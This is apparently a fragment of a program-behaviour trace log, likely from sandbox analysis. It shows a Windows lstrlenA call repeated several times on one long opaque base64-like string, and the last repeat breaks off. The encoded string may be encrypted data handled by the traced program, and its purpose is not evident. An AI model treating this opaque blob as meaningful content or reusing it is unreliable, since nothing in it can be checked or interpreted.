(lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="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